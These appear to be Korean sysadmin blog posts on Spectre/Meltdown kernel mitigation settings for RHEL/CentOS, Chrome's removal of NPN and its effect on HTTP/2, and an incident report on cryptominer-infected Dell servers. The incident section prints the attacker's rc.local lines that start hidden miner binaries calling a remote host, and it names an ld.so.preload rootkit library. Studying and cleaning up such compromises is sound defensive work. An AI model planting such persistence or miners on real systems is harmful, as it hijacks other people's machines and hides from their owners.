Intel Meltdown, Spectre 버그가 알려 진지도 한 5일 정도 지났고, 슬슬 패치들과 firmware들이 나오기 시작했습니다.

현재 알려진 바로는 3가지의 버그가 존재하고, 2가지는 Spectre, 1가지는 Meltdown 버그라 칭해지고 있습니다.

• CVE-2017-5753 (variant 1 / Spectre) : Bounds-check bypass
• CVE-2017-5715 (variant 2 / Spectre) : Branch Target Injection
• CVE-2017-5754 (variant 3 / Meltdown) : Rogue Data Load

이 글은 Spectre bug와 Meltdown bug를 소개하는 것이 목적이 아닙니다. 이 버그에 대한 기술적인 글들은 많이 올라와 있으므로, 여기서는 RHEL/CentOS 환경에서 어떻게 적용할 것인가에 대하여 논하려 합니다.


일단, 버그가 알려진지 5일 정도 지난 시점에서, 벤더 별 OS kernel patch가 발표 되고, H/W 벤더들의 bios firmware 들이 발표가 되고 있는 상황에서 성능 저하 이슈와 패치 적용 이슈를 어떻게 해야 하는지에 대하여 논하려고 합니다.

현재, 나오고 있는 H/W bios patch는 CVE-2017-5715 (variant 2) 에 대해서만 해결을 하고 있으며, bios 만으로 해결은 안되고 software 적인 patch(즉 kernel patch)도 같이 필요한 상황입니다.

CVE-2017-5753 (variant 1)과 CVE-2017-5754 (variant 3)은 H/W 적으로 수정이 불가능 하고 software 적으로만 해결이 가능 합니다. 그리고 성능 저하의 문제는 CVE-2017-5754 (variant 3) meltdown patch에서 발생을 하게 됩니다.

meltdown patch의 경우 user 영역에서 kernel 영역의 memory 주소를 알지 못하게 하기 위하여 page table을 isolate 시켜 버리는데, 문제는 page table이 분리되다 보니 kernel syscall 이 호출 될 때 마다 분리된 kernel page table도 매번 호출이 되어야 하는 overhead가 발생하여 성능이 저하가 되는 것 입니다.

이 3가지 패치에 대하여 RHEL/Centos 의 커널은 3가지 옵션을 제공 합니다. (패치가 적용된 커널들은 /sys에 다음의 파일들이 생성되며, 파일 값은 1이 기본 입니다.)

[root@host ~]# cat /sys/kernel/debug/x86/pti_enabled
1
cat /sys/kernel/debug/x86/ibpb_enabled
1
cat /sys/kernel/debug/x86/ibrs_enabled
1

CentOS 6 의 경우에는 /sys/kernel/debug 를 아래와 같이 mount 해 주어야 합니다.

[root@host ~]# mount -t debugfs nodev /sys/kernel/debug

Intel CPU의 경우,

variant #1, #2, #3 을 모두 fix

[root@host ~]# echo "1" > /sys/kernel/debug/x86/pti_enabled
[root@host ~]# echo "1" > /sys/kernel/debug/x86/ibpb_enabled
[root@host ~]# echo "1" > /sys/kernel/debug/x86/ibrs_enabled

microcode update가 필요 없는 아주 오래된 intel cpu의 경우

[root@host ~]# echo "1" > /sys/kernel/debug/x86/pti_enabled
[root@host ~]# echo "0" > /sys/kernel/debug/x86/ibpb_enabled
[root@host ~]# echo "1" > /sys/kernel/debug/x86/ibrs_enabled

와 같이 해 주시면 됩니다.


AMD cpu의 경우에는 meltdown 은 적용이 필요 없으며,

H/W patch (bios upgrade)가 가능할 경우

[root@host ~]# echo "0" > /sys/kernel/debug/x86/pti_enabled
[root@host ~]# echo "0" > /sys/kernel/debug/x86/ibpb_enabled
[root@host ~]# echo "2" > /sys/kernel/debug/x86/ibrs_enabled

microcode 업데이트 없이 분기 예측을 사용할 수 없는 오래된 CPU의 경우

[root@host ~]# echo "0" > /sys/kernel/debug/x86/pti_enabled
[root@host ~]# echo "2" > /sys/kernel/debug/x86/ibpb_enabled
[root@host ~]# echo "1" > /sys/kernel/debug/x86/ibrs_enabled

로 해 주시면 됩니다.

물론 이 설정들은 runtime 설정이 가능 하며, 대신 persist 하지 않으므로 booting 시 마다 처리를 해 주어야 합니다. 또한, rc.local 에서 처리를 할 경우 rc.local 보다 먼저 실행되는 process 의 경우에는 이 설정의 영향을 받지 않기 때문에 기본 설정은 booting 시의 kernel parameter로 반영 하는 것이 좋습니다. 각 옵션에 해당하는 kernel parameter는 다음과 같습니다. (설정 값을 0으로 하는 것과 같습니다.)

noibrs noibpb nopti

여기까지는 아주 원론적으로 bug를 fix 하는 방법에 대하여 알아 보았습니다.

이 정보를 토대로 하면, spectre bug와 meltdown bug에 대하여 각각 정책을 취할 수 있게 됩니다. 예를 들어, 보안 버그가 중요하지만 성능 저하가 더 큰 문제인 경우, 해당 서버가 isolate 가 되어 있다면 과감하게 meltdown bug patch를 포기하는 정책도 가능 하다는 의미입니다.

현재, 이 기능을 사용할 수 있는 커널은

CentOS 7 3.10.0-693.11.6.el7
CentOS 6 2.6.32-696.18.7.el6

부터 사용이 가능 합니다. 물론, 이전 커널들은 page table isolate 같은 것을 하지 않았으니 이 기능 자체가 필요 없는 것이고요.

이 정보를 토대로 spectre 와 meltdown 버그에 대한 정책을 결정하는데 도움이 되기를 바랍니다.

이 문서는 https://access.redhat.com/articles/3311301 문서를 토대로 작성을 하였음을 밝힙니다.

자 5월 말에 Chrome browser가 51로 업그레이드 되면서 NPN 기능을 제거 했습니다.

NPN 기능이 대표적으로 사용되는 것은 SPDY와 HTTP2 protocol 입니다. SPDY는 NPN 기반으로 동작을 하고, HTTP2는 ALPN 기능을 이용하여 동작을 하는데, NPN 기반에서도 동작이 가능 합니다.

그럼, Browser에서 NPN 기능을 제거한 것이 무엇이 문제냐는 점인데.. Browser에서 NPN 기능을 제거를 하면 서버에서도 ALPN 기반으로만 HTTP2 서비스가 가능하며 서버가 NPN 기반일 경우에는 불가능 합니다. 또한, 기존의 SPDY는 chrome에서는 불가능 하다는 의미입니다.

즉, Chrome browser는 서버에서 ALPN을 지원하지 않으면, 아무리 서버에서 spdy나 http2 protocol을 지원하도록 해도 HTTP/1 로 통신을 해 버리게 되는 것입니다.

뭐, 다 좋습니다. NPN이 사장된 기능이고, 사장된 기능은 빨리 제거를 하는 것이 좋을 테니까요.

그럼 무엇이 문제일까요?

현재 ALPN은 openssl 1.0.2 부터 지원을 합니다. 1.0 은 NPN을 하고요. 문제는 이 openssl 버전에 있습니다.

openssl은 대부분의 OS 배포본에서 core 패키지로 분류가 됩니다. 즉, openssl을 함부로 업그레이드 했다가는 시스템 동작이 원할하지 못하게 된다는 것을 의미합니다. 일단 ssh 연결이 불가능 하게될 가능성이 가장 큽니다. 즉, openssl 은 함부로 업그레이드가 불가능한 패키지로 봐야 하기 때문에, 상위 버전의 openssl을 사용하려면 별도의 위치에 openssl을 설치한, 별도 위치의 openssl library를 link를 해야 합니다. 문제는 이 부분이 누구나 쉽게 할 수 있는 부분이 아니라는 것이죠.

또한, openssl은 심각한 보안버그가 자주 나오는 편인데, 별도로 관리되지 않는 openssl을 설치해서 사용한다는 것도 보안 운영상 아주 취약한 문제이고요.

현재 리눅스 우리나라에서 서버로 많이 사용되는 배포본과 openssl library 버전은 다음과 같습니다.

Operating System	OpenSSL Version	ALPN and NPN Support
CentOS/Oracle Linux/RHEL 5.10+	0.9.8e	Neither
CentOS/Oracle Linux/RHEL 6.5+, 7.0+	1.0.1e	NPN
Ubuntu 12.04 LTS	1.0.1	NPN
Ubuntu 14.04 LTS	1.0.1f	NPN
Ubuntu 16.04 LTS	1.0.2g	ALPN and NPN
안녕 리눅스 2	1.0.1e	NPN
안녕 리눅스 3	1.0.1e	NPN + ALPN (back porting)

일단 안녕 리눅스는 많이 사용되는 배포본은 아니지만, 제가 배포하는 거라 살짝 끼워 넣었습니다.

위의 상황을 보시면 바로 아실 수 있을 겁니다. 현재 운영되는 대부분의 배포본들이 ALPN을 지원하지 않는다는 의미입니다. 즉, 브라우저에서 NPN 기능을 제거해 버리면 대부분의 spdy나 http2 기능을 제공하던 시스템들이 무력화가 되는 것이나 마찬가지라는 것입니다.

NPN 기능이 activeX 처럼 악의 축도 아니고, 상황이 바쳐주지 않은 상태에서 이렇게 NPN을 제거해 버림으로서 일단 SPDY 서비스는 완전히 무력화가 되어 버렸습니다.

가장 많이 사용하는 브라우저인 Chrome이 과감하게 NPN을 제거함으로서 이제 OS 배포본 업체들의 행보가 궁금해 집니다. 운영되고 있는 대부분의 배포본에서 제공하는 openssl 1.0.0, 1.0.1 버전에 ALPN 기능을 back porting을 해 줄 것인지 아니면, 고객들 보고 알아서 하라고 할 것인지.. 재미있는 상황이 되어 버렸습니다.


일단, 구글의 조치로 인하여, 구글을 제외한 http2 환경은 지랄 맞는 상황이 되어 버렸습니다. :-)


P.S.
안녕 리눅스 3은 http2의 지원을 위해서 openssl 1.0.2의 ALPN을 back porting을 해 놓았으며, 안녕 리눅스 2도 현재 back porting을 진행 하고 있습니다.

며칠전 지인에게서 시스템이 이상하다고 봐달라고 하여 확인을 하다가 발견한 사항 입니다.
특이사항으로는 다음의 공통점이 있습니다.

1. iDrac이 달려 있는 Dell server (R610 제품군..)
2. iDrac이 public IP로 설정 되어 있음

증상은 다음과 같습니다.

1. CPU nice가 100% 사용 됨. (Nice는 shell의 nice를 의미하며, nice 우선권이 높은 cpu time을 말하므로, CPU usr 사용량이 100%라고 봐도 무방합니다.)
2. find 명령을 실행하면 무조건 'file not found'
3. ls 실행시에 astrik(*)가 처리되지 않음.

일단, 증상 2,3으로 보아 직감적으로 cracking을 당한것으로 보였고, hidden process를 처리하는 rootkit이 실행이 된 것으로 판단하여 시스템을 뒤지기 시작했으며, 보통 hidden process 처리는 kernel module이나 library preload를 이용해서 부팅시에 처리하므로 다음의 단계로 확인을 해 보았습니다.

1. rpm -Va 명령으로 변조된 binary file 여부 확인
2. /etc와 /boot 의 모든 파일 검사
   1. rc.local 에서 다음의 내용 확인
      
      nohup /bin/_-pud 111.111.111.111 >/dev/null&
      nohup /bin/_-minerd -c /bin/_-config 2> /dev/null&
      
      /bin/_-pud
      /bin/_-minerd
      /bin/_-config
      /usr/bin/_-minerd
      
      
   2. 111.111.111.111:8080 으로 접근해 보면 "mining server online" 라고 뜸. 아마 bit coin 채굴 사이트가 아닐까 의심
      
   3. 이 프로세스 kill 후 CPU nice 정상화 됨
   4. /etc/ld.so.preload 에 libncom.so.4.0.1 등록된 것 확인
   5. /lib64/libncom.so.4.0.1 이 어느 패키지에도 포함되지 않은 것 확인
      1. /etc/ld.so.preload 제거
      2. /lib64/libncom.so.4.0.1 제거
      3. reboot
   6. find 동작과, ls 시에 astrik 처리 안되는 문제 해결 됨

iDrac과 _-pud로 검색을 해 보면, 2015는 9월말 경에 이 경우와 동일한 건이 1건 검색이 됩니다. 여기서는 iDrac의 firmware의 버그 때문이다는 의견과, iDrac의 암호 관리 때문이다 (모두 iDrac이 public IP로 셋팅되어 있는 경우이네요)라는 의견이 있습니다.

• http://stackoverflow.com/questions/32536518/i-cannot-start-qemu-kvm-on-a-centos-6-server
• http://www.webhostingtalk.com/showthread.php?p=9534226

일단, 이 시스템도, iDrac에 접근한 로그는 확인이 되었는데, iDrac에서 OS영역으로의 cracking을 어떻게 했는지에 대해서는 아직 확인이 되지 않았습니다. 뭐 또 제가 hacking이 주영역이 아니다 보니.. 확인하기도 좀 귀찮고.. :-)

위의 내용 참고 하시기 바랍니다. 관련 시스템들은

R610  iDrac enterprise 6 firmware 1.99(2015.07) 입니다.